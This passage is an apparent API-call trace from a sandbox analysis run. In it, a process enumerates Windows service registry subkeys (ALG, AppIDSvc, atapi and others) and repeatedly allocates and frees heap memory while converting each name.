lpUsedDefaultChar=0x0) returned 3 [0217.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0217.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0217.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0217.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0217.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0217.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0217.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0217.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0217.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.452] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0217.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0217.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0217.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.452] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0217.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0217.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.452] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0217.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0217.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.453] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0217.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0217.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.453] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0217.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0217.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.453] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0217.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0217.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0217.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.453] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0217.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0217.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.454] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0217.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0217.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.454] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0217.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0217.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.454] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0217.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0217.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.455] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0217.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0217.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.455] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0217.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0217.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.455] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0217.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0217.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0217.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.455] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0217.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0217.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bb0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0217.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.456] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0217.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0217.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.456] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0217.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0217.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0217.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.456] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0217.456] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.456] WideCharToMultiByte 